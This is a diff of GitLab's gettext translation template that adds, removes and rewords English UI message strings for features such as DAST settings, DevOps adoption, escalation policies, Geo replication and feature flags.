msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
